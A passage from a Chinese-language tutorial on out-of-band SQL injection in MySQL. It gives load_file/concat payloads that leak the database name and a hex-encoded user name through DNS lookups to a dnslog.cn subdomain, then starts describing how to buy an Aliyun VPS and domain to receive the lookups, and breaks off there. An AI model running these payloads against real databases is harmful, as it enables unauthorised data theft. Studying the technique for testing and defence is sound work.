方式二:将当前数据库名带出来。
sql语句如下:
select load_file(concat('\\', database(),'.pz3vky.dnslog.cn\111'));
查看DNSlog的回显,已经将我们想要查询的数据库名“security“带了出来,如下图:
方式三:将存在特殊字符的数据带出来。
这时会出现当发起的dns请求中存在特殊字符时,dns请求无法完成。看一下域名的规则是可以包含英文字母(a-z,26个)、数字(0-9,10个),以及半角的连接符“-”(即中横线),不能使用空格及特殊字符(如!、$、&、?等);
因此我们为了保证发起的DNS请求中只存在字母和数字,需要将字符串进行编码,这里推荐使用hex()函数16进制编码。具体实现的sql语句如下:
select load_file(concat('\\', hex(user()),'.pz3vky.dnslog.cn\111'));
查看DNSlog的回显,已经将我们想要查询的数据库名的16进制带了出来,如下图:
将16进制转化为文本后,得到用户名为“root@localhost ”
其他的OOB利用姿势还有很多,上面我也只是做了简单介绍。目的是为后面利用sqlmap时,便于理解。打一个理论基础,详细内容可以看看文末参考资料中的文章继续研究。
三、阿里云主机与DNS解析配置 3.1 VPS和域名准备第一步:登录阿里云,搜索并进入“注册域名”
第二步:选择想要的域名,并且购买。最便宜的也就5块钱一年,这里假定我们购买了fuzi666.xyz这个域名,后文中都会用此域名作为示例。
第三步:购买后的实名认证不再赘述,一般认证后要等待几个小时才会生效,下图是域名生效后的控制台截图:
第四步:接下来购买VPS,这里购买一个1核1G的Ubuntu主机,假定IP为114.114.123.120。
3.2配置DNS解析
第一步:登录阿里云,进入控制台